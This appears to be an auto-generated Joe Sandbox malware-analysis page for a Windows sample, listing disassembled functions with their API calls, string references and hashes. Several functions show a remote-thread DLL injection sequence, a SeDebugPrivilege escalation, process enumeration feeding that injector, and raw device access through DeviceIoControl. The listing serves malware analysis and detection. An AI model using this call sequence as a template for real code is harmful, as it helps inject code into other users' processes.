Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: 3$<$C$I$S$a$a$a$a$a$a$a$a$b$c$d$d$d$dualc$e$e$fna$g$h$hyb$i$l$l$lmada$m$n$n$n$n$n$n$o$o$r$r$r$r$rebyc$s$s$s$t$t$y
API String ID: 0-907914069
Opcode ID: 0332521eceea5fd94bb27fe7acd8e7d51adc7a05d74f19a4687ecc626ac915ed
Instruction ID: 78c049e7797477cb6e619203f3ba55b69d2c157b8d549aaa0d27a5a6a91e7049
Opcode Fuzzy Hash: 0332521eceea5fd94bb27fe7acd8e7d51adc7a05d74f19a4687ecc626ac915ed
Instruction Fuzzy Hash: 6812BF3440D3C18EE332CB2994547DFBFE16BA6308F088DAED4DD5A292D6B60159CB67

Function 0040BE00 Relevance: 56.3, APIs: 2, Strings: 30, Instructions: 253timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,?,0000005D), ref: 0040BE46
GetTimeZoneInformation.KERNEL32(?), ref: 0040BE66

Strings

', xrefs: 0040C0B2
h, xrefs: 0040C0D1
G, xrefs: 0040C04B
2, xrefs: 0040BF96
1, xrefs: 0040C0C9
Z, xrefs: 0040BF51
h, xrefs: 0040BFC3
e, xrefs: 0040BFA0
M, xrefs: 0040C099
E, xrefs: 0040BFB4
U, xrefs: 0040C00B
4, xrefs: 0040BF38
(, xrefs: 0040C0BC
G, xrefs: 0040BFAF
g, xrefs: 0040BF7D
", xrefs: 0040C0AD
?, xrefs: 0040BF9B
K, xrefs: 0040C050
m, xrefs: 0040BF73
W, xrefs: 0040C02D
n, xrefs: 0040BF82
p, xrefs: 0040C08F
+, xrefs: 0040C0B7
2, xrefs: 0040C0C1
H, xrefs: 0040BFDF
), xrefs: 0040C0E8
^, xrefs: 0040C041
z, xrefs: 0040C0A8
(, xrefs: 0040BFCD
i, xrefs: 0040C01E

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Time$InformationLocalZone
String ID: "$'$($($)$+$1$2$2$4$?$E$G$G$H$K$M$U$W$Z$^$e$g$h$h$i$m$n$p$z
API String ID: 93009163-702723632
Opcode ID: d4280e2c651efcdaf4adcd37bac95a97bed8fc85061677ef0d98c041c8610d7f
Instruction ID: f24f2204c30bf8112847402748224eab2bce5a1f2b66652d7b583283150f38f1
Opcode Fuzzy Hash: d4280e2c651efcdaf4adcd37bac95a97bed8fc85061677ef0d98c041c8610d7f
Instruction Fuzzy Hash: DEC1382110D7C189D322C77C948469FFFD15BEB228F584A9DF1E48B3E2C2658549C76B

Function 00423D83 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 160stringfileCOMMON

Download Yara Rule

APIs

QueryDosDeviceA.KERNEL32(000000A1,?,00000200), ref: 00423E6D
GetLastError.KERNEL32 ref: 00423E83
lstrcpyA.KERNEL32(?,00000000), ref: 00423E99
lstrcatA.KERNEL32(?,000000A1), ref: 00423EA5
DefineDosDeviceA.KERNEL32(00000001,000000A1,?), ref: 00423EB3
GetLastError.KERNEL32 ref: 00423EC1
lstrcpyA.KERNEL32(?,000000EC), ref: 00423EE0
lstrcatA.KERNEL32(?,000000A1), ref: 00423EF3
CreateFileA.KERNEL32(?,00000000,00000001,00000000,00000003,00000000,000000FF), ref: 00423F0D
DeviceIoControl.KERNEL32(00000000,00170002,00000092,00000004,00000099,000000DC,000000EC,00000000), ref: 00423F2E
GetLastError.KERNEL32 ref: 00423F38
DefineDosDeviceA.KERNEL32(00000007,000000A1,?), ref: 00423F70
GetLastError.KERNEL32 ref: 00423F7A

Strings

f, xrefs: 00423DF1
T, xrefs: 00423DA1
-, xrefs: 00423DE5
!, xrefs: 00423DB9
z, xrefs: 00423DB5
}, xrefs: 00423DA5
e, xrefs: 00423DD1

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: DeviceErrorLast$Definelstrcatlstrcpy$ControlCreateFileQuery
String ID: !$-$T$e$f$z$}
API String ID: 204970884-3644634782
Opcode ID: 56c54b7da3f6591e38d1c0b40ab5c6b6fc7a851bac03c90d99fe65f73b77bc95
Instruction ID: beacce81ebdc5a62315d6854d61fdc252875682725b92811e62445d41cf4b898
Opcode Fuzzy Hash: 56c54b7da3f6591e38d1c0b40ab5c6b6fc7a851bac03c90d99fe65f73b77bc95
Instruction Fuzzy Hash: BD61B830A042DDAEDF21CFB99C48ADE7FB49F16320F444295E5A4A62D1C3744706CB69

Function 00406360 Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 151stringfileCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,75923310,00000063), ref: 004063AB
lstrcatA.KERNEL32(?,?,?,?,?,?,?,75923310,00000063), ref: 004063C4
FindFirstFileA.KERNEL32(?,?,?,?,?,?,?,75923310,00000063), ref: 004063D3
GetLastError.KERNEL32(?,?,?,?,?,75923310,00000063), ref: 004063DF
lstrcmpA.KERNEL32(?,0042E310), ref: 0040640E
lstrcmpA.KERNEL32(?,0042E30C), ref: 0040641E
lstrcpyA.KERNEL32(?,?), ref: 00406440
lstrcatA.KERNEL32(?,?), ref: 00406453
lstrcatA.KERNEL32(?,0042E308), ref: 00406462
lstrcpyA.KERNEL32(?,?,00000063), ref: 004064BB
lstrcatA.KERNEL32(?,?), ref: 004064CE
FindNextFileA.KERNEL32(?,?,00000063), ref: 0040653F
FindClose.KERNEL32(?), ref: 0040655C

Strings

w, xrefs: 004064E2
:\, xrefs: 00406517, 00406502, 00406464, 00406467, 00406505, 00406521
., xrefs: 004063A1
b, xrefs: 004064EC
., xrefs: 004064DD
a, xrefs: 004064E7

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: lstrcat$Findlstrcpy$Filelstrcmp$CloseErrorFirstLastNext
String ID: :\$.$.$a$b$w
API String ID: 1838452084-3178132420
Opcode ID: 26a3c23a68273bf8c967d5a4a1b22617189afc168d45bd22dd0b1123420d9e14
Instruction ID: d91f1d41485bd9133756b8c6267c5f734ad3426634637d29d8fe53ea42b8f97d
Opcode Fuzzy Hash: 26a3c23a68273bf8c967d5a4a1b22617189afc168d45bd22dd0b1123420d9e14
Instruction Fuzzy Hash: CF51F772108384ABC720DB65DC44BDFB7E9AFC8304F40492EF58A97281D779D609CB6A

Function 00401830 Relevance: 29.8, APIs: 4, Strings: 13, Instructions: 72filetimeCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00401911
GetLocalTime.KERNEL32(0000005E), ref: 0040191C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00401936
CloseHandle.KERNEL32(00000000), ref: 0040193D

Strings

x, xrefs: 00401861
0, xrefs: 0040188D
h, xrefs: 004018C3
F, xrefs: 004018DC
m, xrefs: 004018A1
:, xrefs: 00401852
t, xrefs: 004018D7
4, xrefs: 00401874
', xrefs: 0040186F
Y, xrefs: 00401857
^, xrefs: 0040189C
<, xrefs: 004018AF
z, xrefs: 00401883

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CloseCreateEnvironmentExpandFileHandleLocalStringsTime
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
API String ID: 2910088009-759814561
Opcode ID: a79a7929436da7264a15b6a66c219a1273af2adf041c396046486cd8ebe7c2c0
Instruction ID: 9d7d35d6ed35067f5301624282322d6ee0cd526578bc1b9978354d1e4a90c02c
Opcode Fuzzy Hash: a79a7929436da7264a15b6a66c219a1273af2adf041c396046486cd8ebe7c2c0
Instruction Fuzzy Hash: E631EC2110C3C1D9E312DB38984874FBFD15BA7618F488A9DF1E95A2D2C2B99249C7A7

Function 00404840 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 95injectionmemorylibraryCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(0000042A,00000000,?,?,00000000,000000DD,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?), ref: 0040487B
lstrlenA.KERNEL32(BR@,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002,00000000), ref: 0040489A
VirtualAllocEx.KERNEL32(00000000,00000000,00000001,00001000,00000004,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002), ref: 004048B7
WriteProcessMemory.KERNEL32(00000000,00000000,BR@,00000001,00000000,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002), ref: 004048D3
GetModuleHandleA.KERNEL32(Kernel32,LoadLibraryA,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002,00000000), ref: 004048EB
GetProcAddress.KERNEL32(00000000), ref: 004048F2
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040491E

Strings

LoadLibraryA, xrefs: 004048E1
BR@, xrefs: 00404896, 004048CD, 00404899, 004048D0
(, xrefs: 0040492B
Kernel32, xrefs: 004048E6

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Process$AddressAllocCreateHandleMemoryModuleOpenProcRemoteThreadVirtualWritelstrlen
String ID: ($BR@$Kernel32$LoadLibraryA
API String ID: 3328640463-1592096681
Opcode ID: 1048440a6fa2ba31e54d9434ac68688d651942ad3db7224efd2e259a51c0311f
Instruction ID: b8c2f0deb781411a5cbda0f33fd6846fbbcdfb44d071191cfa48344f537f40e7
Opcode Fuzzy Hash: 1048440a6fa2ba31e54d9434ac68688d651942ad3db7224efd2e259a51c0311f
Instruction Fuzzy Hash: A831B3B0A40394EFEB208BA98C48B9FBFB9AB96714F14016AF550B62C1C7B44501C7B8

Function 00405090 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 139stringprocessCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004050BF
lstrcatA.KERNEL32(?,0042E308), ref: 0040516B
lstrcatA.KERNEL32(?,?), ref: 0040517A
GetFileAttributesA.KERNEL32(?), ref: 00405184
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004051B7
Process32First.KERNEL32 ref: 004051E9
Process32Next.KERNEL32(00000000,?), ref: 00405259

Part of subcall function 00404840: OpenProcess.KERNEL32(0000042A,00000000,?,?,00000000,000000DD,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?), ref: 0040487B
Part of subcall function 00404840: lstrlenA.KERNEL32(BR@,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002,00000000), ref: 0040489A
Part of subcall function 00404840: VirtualAllocEx.KERNEL32(00000000,00000000,00000001,00001000,00000004,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002), ref: 004048B7
Part of subcall function 00404840: WriteProcessMemory.KERNEL32(00000000,00000000,BR@,00000001,00000000,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002), ref: 004048D3
Part of subcall function 00404840: GetModuleHandleA.KERNEL32(Kernel32,LoadLibraryA,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002,00000000), ref: 004048EB
Part of subcall function 00404840: GetProcAddress.KERNEL32(00000000), ref: 004048F2
Part of subcall function 00404840: CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040491E

CloseHandle.KERNEL32(00000000), ref: 00405263

Strings

T, xrefs: 004050CF
o, xrefs: 004050D9

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CreateHandleProcessProcess32lstrcat$AddressAllocAttributesCloseDirectoryFileFirstMemoryModuleNextOpenProcRemoteSnapshotSystemThreadToolhelp32VirtualWritelstrlen
String ID: T$o
API String ID: 347023813-3088171537
Opcode ID: 1637164c7f9895b18762df92123e5e50300fe974904146b62b15fd1e0cf0ceda
Instruction ID: feaa7f443b79ad3512fc15c49273def89914fdb135639313c3836c96608cb255
Opcode Fuzzy Hash: 1637164c7f9895b18762df92123e5e50300fe974904146b62b15fd1e0cf0ceda
Instruction Fuzzy Hash: 7C51F03510C3D18AD310DB39AC84BDFBFD48BD6324F485A6DE5E8862D2D6788509CB67

Function 0041E0B0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,00000000), ref: 0041E0FB
LoadResource.KERNEL32(?,00000000,?), ref: 0041E110

Strings

J, xrefs: 0041E0D2
j, xrefs: 0041E0C3

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Resource$FindLoad
String ID: J$j
API String ID: 2619053042-3737368804
Opcode ID: 59f09915b7c398c90ca5aa23a131cfd19cb12457168d76c6417c5eaae1914163
Instruction ID: fac2f0c8f6ecf36566f1a5ae47c595f35cc5e359fa8f75e74032fb34fa1c9e17
Opcode Fuzzy Hash: 59f09915b7c398c90ca5aa23a131cfd19cb12457168d76c6417c5eaae1914163
Instruction Fuzzy Hash: 4541293A2087815BD3118B29AC85BD73B94D79A370F145139E9A1873F1D778484BC76E

Function 004047A0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(75918A60,?,?,?,?,?,?,004051B3), ref: 004047AA
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,004051B3), ref: 004047B3
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,004051B3), ref: 004047B6
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 004047CD
AdjustTokenPrivileges.ADVAPI32 ref: 00404810
CloseHandle.KERNEL32(?,?,?,?,?,?,004051B3), ref: 0040482C

Strings

SeDebugPrivilege, xrefs: 004047C6

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Process$CurrentToken$AdjustCloseHandleLookupOpenPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 3621747604-2896544425
Opcode ID: 0b374022394a715b8987bc5ef204c25a5dec9ab52c03f500be3cd1fab7d0c95c
Instruction ID: 052f3df82ca70502255671040b2a31584c8238dd5ceadda2b5f1d62a07713268
Opcode Fuzzy Hash: 0b374022394a715b8987bc5ef204c25a5dec9ab52c03f500be3cd1fab7d0c95c
Instruction Fuzzy Hash: ED01C475608340AFE310DF65DC49B9B7BE4BB88700F40682CF28497291C7B49505CB6A

Function 00404110 Relevance: 7.8, APIs: 5, Instructions: 295synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,?,00000001), ref: 0040418C
ReleaseMutex.KERNEL32(?,?,?,?,?), ref: 0040426D
ReleaseMutex.KERNEL32(?), ref: 004042A5
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404498
ReleaseMutex.KERNEL32(00000000,?,?,00000000,?,000000FF), ref: 004044F1

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: MutexRelease$ObjectSingleWait
String ID:
API String ID: 257779224-0
Opcode ID: 8f655228cdc90f06d313c78c90473a3e5cbcebb0cb1dc3bdbce8e6e6bec819a1
Instruction ID: 8c9ce78122583aa8a55ee52179d80f89be94f9b8b227595c5774061f7ec44eb9
Opcode Fuzzy Hash: 8f655228cdc90f06d313c78c90473a3e5cbcebb0cb1dc3bdbce8e6e6bec819a1
Instruction Fuzzy Hash: 50C190751083809FD320CF29D885B9BBBE4AFD9304F10492EF599873A2CB78A509CB56

Function 00429F44 Relevance: 7.6, APIs: 5, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 00429F5E
GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 00429F6F
VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 00429FB5
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,0000001C), ref: 00429FF3
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,0000001C), ref: 0042A019

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Virtual$Query$AllocInfoProtectSystem
String ID:
API String ID: 4136887677-0
Opcode ID: c67923648d0627a3e019e3e4bfa5385d88bc288047f0f5f504da8e189111f8be
Instruction ID: eda20bf0d75a8237f75d833b080248ab74fea35a03fb107c59d71fc75ff335a4
Opcode Fuzzy Hash: c67923648d0627a3e019e3e4bfa5385d88bc288047f0f5f504da8e189111f8be
Instruction Fuzzy Hash: 6C31A032F00229ABDF108FA4EE45EEE7B78EB04315F550076E901E3290D7759E41DBA9

Function 0040C1D0 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040C1DA
GetTickCount.KERNEL32 ref: 0040C1E8
GetTickCount.KERNEL32 ref: 0040C1F6
GetTickCount.KERNEL32 ref: 0040C204

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CountTick
String ID:
API String ID: 536389180-0
Opcode ID: 6c9193b7122c9ada05db2bf893685bdb1e040ed9adec1d3d207f007b4c2f18bb
Instruction ID: 8ac1f8066ba04423f4662e4113d208e2f1450d097528ad0d5c8686e1bb647505
Opcode Fuzzy Hash: 6c9193b7122c9ada05db2bf893685bdb1e040ed9adec1d3d207f007b4c2f18bb
Instruction Fuzzy Hash: 56F0A9319283B19F9704EF39C94518BBBE5EBC4250F54CD2EA895C3214E378D915DF92

Function 0041BD00 Relevance: 3.2, APIs: 2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dbbee3704f12433d065c0b315258c4b07da05294b99e7abcb0b3c4fa3fe7de6
Instruction ID: 8b5a2351a7d1e8d8b8448e22e26b40c83a0be625b2b6ea0dbd06899092a7e69e
Opcode Fuzzy Hash: 1dbbee3704f12433d065c0b315258c4b07da05294b99e7abcb0b3c4fa3fe7de6
Instruction Fuzzy Hash: 74A16E762043808FE314CF35EC927967BE6ABA9700F14652EE995873B1D3F78448CB59

Function 0041B3D0 Relevance: 3.0, Strings: 2, Instructions: 470COMMON

Download Yara Rule

Strings

M, xrefs: 0041B6A4
M, xrefs: 0041B52A

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: MutexObjectReleaseSingleWaitlstrlen
String ID: M$M
API String ID: 2109015423-2122717962
Opcode ID: 7911a5574d635876bba3228f93589202df659d67aa1a0e78d2affb198733790a
Instruction ID: 65662130b59962f93e7e6451055683d101b0e1da79cd26758f1cd863abbc9b8b
Opcode Fuzzy Hash: 7911a5574d635876bba3228f93589202df659d67aa1a0e78d2affb198733790a
Instruction Fuzzy Hash: 9A12F4B15083408FD704DF24D891AEBBBE9EF99304F04596EF885873A2C775D885CB9A

Function 0042C8B2 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,00000100,00000006,00000100,?,00000000), ref: 0042C8D2

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
